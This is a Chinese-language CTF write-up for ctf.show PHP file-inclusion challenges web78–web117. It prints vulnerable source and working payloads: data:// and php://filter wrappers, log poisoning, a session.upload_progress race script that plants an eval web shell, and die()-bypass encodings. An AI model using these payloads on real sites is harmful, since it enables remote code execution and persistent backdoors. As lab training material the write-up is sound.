# web78

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

data:

从 PHP5.2.0 起,数据封装流就开始有效,用于数据流的读取。
如果传入的都是 PHP 代码,就会执行任意代码

?file=data://text/plain,<?php system('tac flag.php');?>

image-20221104100708562

php://filter 是元封装器,设计用于数据流打开时筛选过滤应用,对本地磁盘文件进行读写

?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20221104101156551

# web79

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

payload:

file=data://text/plain,<?=`cat flag.php`?>

这里还是使用 data,因为过滤了 php 所以这里使用短标签

<?= ?>等同于<?php echo ?>

image-20221104140318246

这里的第一行仅起屏蔽报错的作用,为了方便展示加上的,没有也能正常输出

image-20221104140448180

# web80

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

对着干了属于是,这里将能用的伪协议给都替换了

image-20221104142025489

这里看到是 nginx 服务器,nginx 有两个日志文件,一个 access.log 用来记录每次成功的请求信息,包括 IP 地址,时间,浏览器等信息,一个 error.log 记录异常信息

ua 头也会在 access 文件中

image-20221104143220895

看到 flag 应该在 fl0g.php 中

image-20221104141907175

# web81

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

多 ban 了一个:emmmm 似乎没啥用?因为这个难度应该是一层一层增加的才是,那么这个:到底增加在哪呢?再回去看看 80 题

$file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);

这里替换,我反复斟酌后发现我没有考虑到最简单的办法,大小写绕过,回去试试

image-20221104150442557

读取 flag

image-20221104150510196

那这一题用上一题的方法就行了

image-20221104150930071

flag 没换地方,冲

image-20221104151028431

# web82

因为环境问题,这几个到晚上才补上

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这里前面的利用方式都给过滤的差不多了,可以使用 session.upload_progress 文件来文件包含,首先来聊一聊下面这几个 php.ini 中的配置

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

第一个,为 on 表示 upload_progress 功能开启,即上传文件时会将文件的详细信息,上传进度存入 session 中

第二个,为 on 表示再会话结束后会将文件中的内容清空处理

第三个,session.upload_progress.prefix,设置上传文件内容的前缀

第四个,session.upload_progress.name 的值即为 session 中的键值

了解过这几个重要的配置文件后,我们说一说怎么利用

php.ini 中 session.use_strict_mode 选项默认是 0,也就意味着我们可以自定义 SESSIONID,着有什么用呢?

在 Linux 中 session 的默认储存位置一般有下面四个

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

用户在 cookie 中设置 sessionid=flag,那么 PHP 就会生成一个文件 /tmp/sess_flag, 这时就完成了初始化,并写入 ini.get (“session.upload_progress.prefix”)+ 由我们构造的 session.upload_progress.name 值,但是 session.upload_progress.cleanup = on 会清空文件内容,那么这里就需要用到条件竞争的思想了,创建表单上传临时文件

<!DOCTYPE html>
<html>
<body>
<form action="http://4ac09838-e15e-4a7d-b82e-1a154d432e4d.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value=" <?php system('ls'); ?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

image-20221105011223887

不断的上传,不断访问

image-20221105011144408

同理,看 flag

image-20221105011323661

import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

这里附上大佬的脚本,可以梭哈

# web83

源码没变,但是多了一条报错,这里是因为没有开启 session,加上 session_start () 即可

image-20221105011550544

<!DOCTYPE html>
<html>
<body>
<form action="http://4ac09838-e15e-4a7d-b82e-1a154d432e4d.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value=" <?php system('ls'); ?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
<?php session_start(); ?>

# web87

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}

看到 filter 和 die 就感觉不简单,这不就是死亡 die,用 php://filter 即可,可以去看一下我的 php://filter 过 exit - Web | Clown の Blog = (xcu.icu) 这篇文章,这里 url 要进行两次编码

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content=AAPD9waHAgc3lzdGVtKCdscycpOyA/Pg==

image-20221105012857882

content=AAPD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4=

image-20221105012936593

# web88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

emmm 这题,所实话变的有点突然,data 流解决

?file=data://text/input;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

image-20221105013418162

# web117

web116 有些离谱,我没记录,misc-web666

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

正则掉了很多过滤器,可以选择没有过滤的,绕死亡函数的原理都是一样的

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?

image-20221105014312695

image-20221105014255452